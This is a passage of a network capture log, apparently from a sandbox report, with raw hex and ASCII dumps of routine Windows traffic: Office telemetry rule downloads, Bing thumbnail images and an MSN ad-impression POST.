<R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:45 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:46 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 4c7743ed-001e-0082-4b03-485880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164546Z-r1cf579d778xq4f9hC1EWRx41g00000005u0000000000tv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:46 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49831	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:45 UTC	346	OUT	GET /th?id=OADD2.10239381963595_1GOKBHWMF64DQK79Y&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-08 16:45:46 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 619058 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 227329497EF94309B1E3E128E0B8865F Ref B: EWR30EDGE0308 Ref C: 2024-12-08T16:45:46Z Date: Sun, 08 Dec 2024 16:45:45 GMT Connection: close
2024-12-08 16:45:46 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 19 82 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 35 3a 31 37 3a 34 39 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 15:17:498
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: 0b cd 24 6b 4b cd 3a 93 76 00 da 69 9b 29 f4 ed b4 b9 8a 22 d9 46 ca 96 45 a6 d3 4e e2 b1 0d 14 f9 29 79 a6 22 3d b4 da 76 da 2a 89 0a 29 fb 29 95 23 b0 25 14 6d a3 6d 02 40 f4 da 76 da 28 40 36 8a 28 aa 00 a2 9d 1a d3 76 d2 b8 05 14 6d a7 6d a6 08 6d 4b 1d 33 6d 49 cd 48 d0 ea 66 fa 5e 6a 37 a4 95 8a 64 9c d1 cd 47 52 73 4c 41 cd 1c d3 a9 bc d0 01 cd 1c d3 a8 a0 03 69 a7 51 4d a8 6e e5 0e a6 d3 a8 a4 03 68 a2 8a b4 ee 48 de 69 d4 51 4c 02 8a 28 a0 0a b4 53 a9 b5 46 21 45 14 50 01 4c d9 4f a2 80 0a 66 ca 96 9b b4 d0 03 36 52 f3 4e da 68 a0 06 f3 47 34 ea 28 15 88 64 5a 2a 6a 6f 34 ee 32 3a 7e ca 36 52 f3 45 c0 8e 8a 7f df a3 65 17 01 9b 68 4a 93 9a 39 a6 04 74 53 f6 52 f3 4a e0 47 42 54 9c d2 6c a6 03 28 a9 39 a4 d9 4a e0 33 6d 1b 69 fb 29 79 a2 e0 26 ca Data Ascii: $kK:vi)"FEN)y"=v))#%mm@v(@6(vmmmK3mIHf^j7dGRsLAiQMnhHiQL(SF!EPLOf6RNhG4(dZjo42:~6REehJ9tSRJGBTl(9J3mi)y&
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: 4b fd b3 ec ff 00 bb 7a f0 1d 2b 4f 93 c6 1f 11 ec 5d 34 79 75 ab 5b 69 3f d2 7c df f5 31 ee fe f3 d7 d1 e5 39 ad 65 2a 92 ae fd d4 af e9 e4 8f 13 36 ca 28 72 53 85 25 69 37 6f 5f 53 9f f8 65 ab c7 63 0c 73 bd 9f ee e3 ff 00 96 95 ed d1 eb 3a 95 c6 9f 1a 69 96 73 79 f7 9f bc fb 44 91 7e e6 05 fe fd 58 d0 fe 1a 78 3e d3 cb ff 00 43 fd dc 7f eb 23 f3 5f f7 8f 5b 7e 22 b9 d2 74 5f 0f c9 a8 bc d0 d9 58 db c7 ff 00 2d 7f f1 da f1 73 0c 45 0c 55 54 e9 2b b6 7a d9 76 0b 11 86 a6 d5 49 25 a1 89 63 6d e4 79 90 69 d3 7e fe 3f f5 97 37 32 ff 00 e8 5f 5a 87 58 d4 1f 4a b5 92 ea ea 6b 48 fc bb 67 92 3f 36 5d 9f 68 97 fb ab 57 6e 96 4b 8f 2e ca d7 c9 8e d6 3f de 7d a7 c9 de fb da a2 f1 e6 95 a6 eb 73 47 75 75 a6 f9 90 5b ec 8e 4f de fc 96 ff 00 fe d5 73 e1 68 e1 ea 4a Data Ascii: Kz+O]4yu[i?\|19e*6(rS%i7o_Secs:isyD~Xx>C#_[~"t_X-sEUT+zvI%cmyi~?72_ZXJkHg?6]hWnK.?}sGuu[OshJ
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: ff 00 de dd fc 39 aa f3 6a 16 97 1a de 9b a8 78 6e 6f b3 c1 25 ea 7e f2 5f 91 e3 fe 2f 2f fd aa f4 6f 88 4b a3 5d fd 87 c3 d7 ba 94 56 7f 68 ff 00 48 8f cc ff 00 96 8c 9f c3 5e 45 e2 3f 2f 4d f1 35 b5 ea 7e ef 4d b2 b9 4f f9 6a 9b e4 89 be 55 7f c6 b5 c1 c6 8d 7a 5e f2 6a 7a fc d7 4f 5f 53 2c 47 b5 a3 52 d1 b3 8e 97 f2 6b b7 63 db bc 4c d6 ff 00 d9 d1 ea 0f 34 b1 c1 6d 23 cf f6 9f e0 dd 5e 3d e1 bd 23 4c 97 c6 31 dd 6a 93 45 7b 04 92 79 96 52 5c fc 9f 36 cf de af e2 3a 56 f6 b9 af 6e d3 ed b4 f7 bc 86 48 3c c7 9e 38 e2 ff 00 96 75 e7 3e 34 d6 bf b3 ee fc 88 3f e5 a5 b4 d2 79 9f c1 fc 15 eb e5 79 35 57 83 97 34 9c 5b e9 e5 df b9 e7 66 59 9c 23 8a 5e ed d2 fe ac 5c f1 6e 8b 3c be 5e bc fa 0c d6 76 3e 67 97 fe b7 e7 8e 28 ff 00 77 b6 b3 3c 0f a1 db ea ba b5 Data Ascii: 9jxno%~_//oK]VhH^E?/M5~MOjUz^jzO_S,GRkcL4m#^=#L1jE{yR\6:VnH<8u>4?yy5W4[fY#^\n<^v>g(w<
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: 6e ae 24 df 7b e5 ff 00 cf 53 f7 ab 6b 5c 6f b1 69 f2 3c 13 7e f3 fd 5f fb 15 63 c6 1a d6 9b e1 cd 3e 4d 52 ea 1f 32 eb cc f2 e3 8e 28 be 7d ed 5c ae ab af 5a 4b e1 9d 25 f5 7b 3d 42 ce fa 3b 94 bb 8e da e6 2d 9e 63 7c ff 00 7f fd 9a f9 29 56 ab 5e f5 1d ed 27 ab b7 5f 43 ea 23 1a 38 68 aa 31 69 34 b4 5e 85 c8 6d a7 d6 3c 79 a4 e8 89 fe 8f 6b a0 db 25 fd cf fb ef f7 12 ba df 11 6a b2 3f 89 b4 5b 5d 22 6f 32 d7 e7 8e f6 48 bf d9 4d ca b5 8d e0 4b 9f b4 4b ab 5e c1 e7 48 f7 92 43 1c 92 49 fd cf bd be b6 7c 39 67 02 f8 83 fb 43 c9 ff 00 57 be 38 e4 ac 71 58 e7 52 50 a4 96 89 25 af 7e a3 a1 87 e5 52 a9 d5 bf f8 63 9c f8 c1 f0 92 cf e2 8e ad 26 a7 aa 4d fb bb 3b 34 83 49 8e db e4 48 d7 67 fa c9 3f e0 55 e7 5e 24 9f 49 f0 17 c2 28 f4 1b 1f b2 c9 a8 de 4a 91 dc Data Ascii: n${Sk\oi<~_c>MR2(}\ZK%{=B;-c\|)V^'_C#8h1i4^m<yk%j?[]"o2HMKK^HCI\|9gCW8qXRP%~Rc&M;4IHg?U^$I(J
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: a5 fb 24 32 3f 93 ff 00 2d 3c ca e2 e4 f1 02 6b 17 72 4f 65 0c d7 1e 5c 9e 44 92 47 f7 3f e0 35 c9 ed 25 29 df b6 e7 a2 dc 12 f7 9e e4 3e 26 d5 ec 34 db 38 e7 ba 86 59 24 93 f7 71 f9 5f ed 54 9e 07 9f ed 1a 1c 7a 8e 7e cf 04 9b ff 00 77 fe eb fd ea c1 f1 c2 c1 a7 e8 91 da a4 33 49 1c 7b ff 00 df dd 5a 9e 16 fb 5f fc 21 fa 6a 3c 3f bf 92 c9 24 93 cc ff 00 73 e5 ad 5c 22 a8 7b 4e b7 dd b3 9d c9 ca b3 83 ec 74 97 d7 d0 7f 67 c7 65 e4 fe ee 4f dd c9 73 fe c5 67 e8 9a 0c 77 10 c8 ef 2f 99 6b fe b2 38 ea 6d 72 ce 4b 7d 3e 24 9e 18 7f d2 2d bf ef dd 73 f0 f8 8f ec fa e7 f6 45 94 33 7e ee 44 8e 38 e2 ff 00 66 b2 94 27 55 bb 74 1c aa 2a 69 73 31 7c 69 a5 3d ee b5 a7 59 43 37 99 fb cf de 7f bd 5e 45 fb 50 47 06 99 0d bf 86 e1 ff 00 8f ab 8d 92 49 ff 00 4c e2 5f fe Data Ascii: $2?-<krOe\DG?5%)>&48Y$q_Tz~w3I{Z_!j<?$s\"{NtgeOsgw/k8mrK}>$-sE3~D8f'Ut*is1\|i=YC7^EPGIL_
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: 9f b2 da d9 c5 23 c9 27 99 e5 c7 17 fa c7 ac 4f 0e 5b 47 6f fd 89 34 d6 9f e9 52 48 9e 67 99 ff 00 2c 1f f8 52 bd 1b c4 d0 5f af c4 1f 2f 4b f2 ad f4 eb 7b 24 fe d1 92 48 b7 a7 cd f7 3c af f6 eb 94 d5 7e cb a2 78 b2 38 6f 75 2b 4b 89 ee 2e 7c cf b3 7f cf 06 d9 5b 61 6a de 8f b2 4a ed ae 6d f5 f4 db 42 b1 14 5f b4 e7 bd 92 d3 6b 7e 27 d0 76 ef 79 a8 69 f6 57 50 ea 31 7f c7 bf ef 23 92 2f f9 6b fe f5 78 af 84 7c 27 e2 fd 0b e3 c5 ce af ab fd 96 e6 d7 59 8e 6f b4 c7 1c bf c6 bf 3a 35 7a 2d d7 89 2d 3f b4 23 9a cb ce bd 9e 4b 7f 32 da 3b 68 be 49 3e 4f bb 59 3e 1d 9e ff 00 5a f1 b5 be af ad 7f c4 ae 0b 3b 77 78 ec bc af 9e 49 76 3e ef 9a b8 a9 62 2a 7b 29 41 5a ce 36 77 15 5a 34 f9 a3 36 de 8d 35 6d 0c 6f 13 5e 5a 78 77 50 93 50 92 1b ab 89 e4 b9 fd dd b7 9b Data Ascii: #'O[Go4RHg,R_/K{$H<~x8ou+K.\|[ajJmB_k~'vyiWP1#/kx\|'Yo:5z--?#K2;hI>OY>Z;wxIv>b*{)AZ6wZ465mo^ZxwPP
2024-12-08 16:45:46 UTC	16067	IN	Data Raw: 21 2f 26 92 ea e2 4f 32 4f ef c9 fd ea 6c d0 5a 5c 68 7f da 93 ff 00 a3 ff 00 67 5c cd 77 1d b7 95 fe b3 fb b5 9d a1 c5 3d bf 82 6d 9e ea f2 5b 89 e4 b9 78 ee 64 fe 3f 9f fa 2d 6f 29 c6 50 e6 be b7 b5 bf e0 98 ea a5 6e 87 59 f0 eb 57 f3 6e e5 f0 f4 ff 00 eb a3 ff 00 57 ff 00 4d 3f bd b6 ba 69 bc cb 78 64 78 e1 fd ff 00 fa c9 3f bf fe ed 79 6f 81 62 fb 45 e4 9a bd 94 53 59 c7 1f fa b9 24 fb ff 00 35 26 a5 79 22 7c 48 93 48 d5 35 2b b8 e4 f9 2e 3c cf 9f f7 95 a5 38 aa 93 f6 77 d5 2d 7e 46 73 aa e1 0e 7b 7a 1d e7 86 74 69 35 2b bb e9 e4 9a 6f 22 39 3c b8 fc df f9 68 d5 43 52 8a 3b 7b b9 20 9e 1f 32 48 ff 00 79 24 94 e8 75 5b bb 48 7e d5 6b e4 f9 1f f4 d6 5f e3 ab b6 3a 44 f2 e8 72 7d aa 6f 33 ed 11 f9 9e 64 bf f2 ce b9 66 a3 4d da d7 f5 3a 61 2e 75 71 9e 1f Data Ascii: !/&O2OlZ\hg\w=m[xd?-o)PnYWnWM?ixdx?yobESY$5&y"\|HH5+.<8w-~Fs{zti5+o"9<hCR;{ 2Hy$u[H~k_:Dr}o3dfM:a.uq
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: 65 6c 64 39 9c 92 83 48 b3 f0 9d 64 d3 2d 7c 9b ab 3f df dc 7f ab f3 22 fe 1a e9 b5 8b 99 12 68 dd ff 00 78 f1 ff 00 cf 38 b6 79 7b ab ce ae 3c 65 24 be 65 d3 dd cb 1c e9 27 11 f9 55 6e 1f 1b 59 cf a4 cb 35 db 99 2f 9a 3f 2d 3c c1 fe af fd da e8 c4 65 f8 8a 95 7d b3 8e af 7b 1c b4 b1 f8 78 53 f6 2a 5b 13 78 a3 55 b4 97 5c d3 be d5 a7 fd a2 1f 33 f7 96 ff 00 73 ee d5 0f 15 35 fd dd df db 9e 68 ad d2 4f f5 71 c7 ff 00 2c ff 00 d9 aa 5f 69 d6 75 3f 2f ce f2 a3 48 ff 00 e5 e2 4f f6 6a 8e a5 aa 46 ba 77 f6 62 19 6e 3f 79 fe b2 5a f5 28 e1 79 39 14 56 ab 7e a7 05 4c 42 f7 9c 9b b3 d4 d3 f0 e2 7f a2 dc 5d 3e a5 15 bf 97 ff 00 91 2b 1f 51 9d 2f 6e b7 cd a8 cd 27 bc 95 42 df fb bf bd fd e7 fc f3 a6 5a 94 b7 ba dd 3c 5f 85 76 c6 82 8c 9c ef af c8 e3 96 21 ca 11 8d Data Ascii: eld9Hd-\|?"hx8y{<e$e'UnY5/?-<e}{xS*[xU\3s5hOq,_iu?/HOjFwbn?yZ(y9V~LB]>+Q/n'BZ<_v!
2024-12-08 16:45:46 UTC	16384	IN	Data Raw: cd 19 ee 52 5f fe 39 54 75 1b 99 3f d4 a7 ef 13 cb aa 57 53 c8 d2 c9 0a 4d f2 53 b6 ba 45 f3 ff 00 cb 4a f3 e1 45 45 26 76 ca a3 91 16 8f 14 fe 6c 7f ba ff 00 59 ff 00 4d 6b 4a f9 be c5 15 c5 cc 3f bb 7f 2f fd 64 9f de a8 91 7c a8 a3 74 ac 6f 88 de 21 4d 2b c3 d2 3f 93 34 93 dc 7f c7 b7 97 5b 53 84 f1 15 e3 18 ad c9 94 a1 46 93 6d ec 6f 78 1f 5e 83 57 b4 ff 00 9e 77 56 f2 79 77 b1 ff 00 71 ab 52 79 7e d1 6b 22 7e eb fd 5d 78 a7 ec f3 af 6d d5 af 92 f6 6f f4 ed 56 e1 df cb ff 00 a6 4b 5e af 04 f2 79 df 3f df aa cd 72 ef aa 62 e5 14 b4 d2 df d7 a9 9e 07 17 f5 9c 3a 9d cd 4f 0c db 48 9f e8 af 37 98 91 d6 c5 d4 48 b2 6c ff 00 9e 75 93 a5 de c6 9f 3f fb f5 1c 9a cc 72 f9 6e 92 fc 97 1f ea eb c8 9d 3a 95 24 dd 8e c8 fb ad 2b 8e ba b4 82 2f 33 ce 87 cc fe 3a af Data Ascii: R_9Tu?WSMSEJEE&vlYMkJ?/d\|to!M+?4[SFmox^WwVywqRy~k"~]xmoVK^y?rb:OH7Hlu?rn:$+/3:

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:46 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:46 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: f6e8c48a-401e-000a-8008-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164546Z-r1cf579d7788pwqzhC1EWRrpd8000000067g0000000014x5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:45:46 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49832	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:46 UTC	265	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1506 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2024-12-08 16:45:46 UTC	1506	OUT	Data Raw: 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 54 49 44 3d 31 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 36 31 35 36 30 39 26 42 49 44 3d 31 32 35 37 34 39 33 34 38 37 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 55 26 54 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 52 45 51 41 53 49 44 3d 37 44 42 46 45 44 33 32 38 42 45 46 34 37 33 38 39 41 41 33 33 33 37 37 32 43 46 45 32 35 32 43 26 41 53 49 44 3d 35 35 36 66 33 38 34 61 35 37 39 63 34 33 32 33 61 32 63 64 33 36 64 33 33 30 32 62 61 38 61 37 26 54 49 4d 45 3d 32 30 32 34 31 32 30 38 54 31 36 34 35 33 34 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 34 31 32 30 38 54 31 36 34 35 30 35 26 4d 41 5f 53 63 6f 72 65 3d 30 26 26 44 53 5f 45 56 54 49 44 3d 37 44 42 46 45 44 33 Data Ascii: PID=426081542&TID=1&CID=128000000001615609&BID=1257493487&PG=PC000P0FR5.0000000IRU&TPID=426081542&REQASID=7DBFED328BEF47389AA333772CFE252C&ASID=556f384a579c4323a2cd36d3302ba8a7&TIME=20241208T164534Z&SLOT=1&REQT=20241208T164505&MA_Score=0&&DS_EVTID=7DBFED3
2024-12-08 16:45:47 UTC	394	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 08 Dec 2024 16:45:46 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49834	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:47 UTC	375	OUT	GET /th?id=OADD2.10239381963596_1EZBDO21TSG77E89L&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-08 16:45:47 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 612565 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A0AAF8828C1A4EB8AD9E6BCB183DA037 Ref B: EWR30EDGE1020 Ref C: 2024-12-08T16:45:47Z Date: Sun, 08 Dec 2024 16:45:46 GMT Connection: close
2024-12-08 16:45:47 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 17 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 32 3a 32 39 20 31 35 3a 31 36 3a 34 33 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``fExifMM*bj(1r2i``Adobe Photoshop 25.2 (Windows)2023:12:29 15:16:438
2024-12-08 16:45:47 UTC	16384	IN	Data Raw: 47 b6 97 15 2a a5 3b 65 2e 64 3e 56 41 8a 76 2a 5c 6d a6 ed f6 a5 cc 1c ac 63 0a 76 29 d8 a3 14 ee 16 1b 8a 6a 8a 93 14 62 8b 8a c2 6d f6 a3 6d 3d 45 3d 45 4d ca b0 cd 94 6c a9 69 71 45 c7 62 15 14 b5 2e 29 76 52 b8 ec 47 b7 da 9b d6 a6 64 a4 61 40 72 91 52 ad 2b 0a 36 fb 50 20 6f 9a 8a 36 fb 51 40 0d 61 45 3a 93 14 00 66 92 8a 28 00 a7 53 69 56 80 1f 8d d4 e8 c5 11 9a 46 34 8a 5a 6a 3f 77 bd 37 ef 7d ea 45 34 b4 00 74 a3 9a 39 a1 45 30 24 8e 9d cd 31 69 6a 4a 1a d4 8d 4b 49 8a 68 91 ab 4b 45 14 c0 28 a2 8a 00 29 71 4b 8f ee d2 35 20 13 9a 4c 6e a7 ad 3d 45 17 02 1c 50 df 2d 4d e5 ed a4 64 55 a5 71 f2 b4 47 d6 8d 9b a9 f8 a3 14 ee 16 23 c5 18 a9 69 31 40 58 8f 14 aa 2a 56 4a 6e 28 b8 58 55 14 bb 37 52 f3 4e dd b6 91 61 b7 6d 35 8d 1b e9 19 f7 52 41 cc 83 Data Ascii: G;e.d>VAv\mcv)jbmm=E=EMliqEb.)vRGda@rR+6P o6Q@aE:f(SiVF4Zj?w7}E4t9E0$1ijJKIhKE()qK5 Ln=EP-MdUqG#i1@X*VJn(XU7RNam5RA
2024-12-08 16:45:48 UTC	16384	IN	Data Raw: 86 96 39 ca 2a 96 1e 3f 0e ef 64 9f 95 f5 fc 8f 02 a6 5f 25 27 57 13 2b 73 6c 9b bb 7f 81 cc d9 dd d9 e8 da 1f d9 f4 58 11 d9 51 60 fb ff 00 ea 57 be 3d eb a6 f0 ee bf 6c b6 30 c3 6f e6 6d f9 59 fe 4f de bf e1 8e d5 6b c1 fe 0f 9d ec 66 bc b5 9e 4b 7b 55 85 9a 1b 8b bf 2e 7d 8d fd d3 1b 0e 95 b1 a3 de f8 f6 de 7f b6 5b df e9 b7 92 7d 91 bc 9d 9a 74 71 6c c7 cd 91 8c 6d ae 69 63 b0 cf 9e 31 71 6d 6f 77 6d 7d 6c ce ba 78 3c 44 79 64 ee 93 d9 28 df 4f bc c5 d7 85 e5 ae 94 9a d5 9f fa 3a d9 a4 92 cd bd f6 b4 d1 96 1d 00 c1 fe f7 4a d0 ff 00 84 86 7f 14 78 0e 1b 8d 37 45 8e 5b 86 7f b8 90 6e 96 15 1f c1 cf 3c fa 9f a9 ac 9d 6a 6b ed 67 54 87 54 d5 2e e7 b8 9a 5d ab be 57 5f 29 3e 5d c7 9e 78 fe b5 ed df b1 1f 87 16 f3 c5 57 da 85 e7 86 a7 d5 34 fd 9b 6d 35 67 Data Ascii: 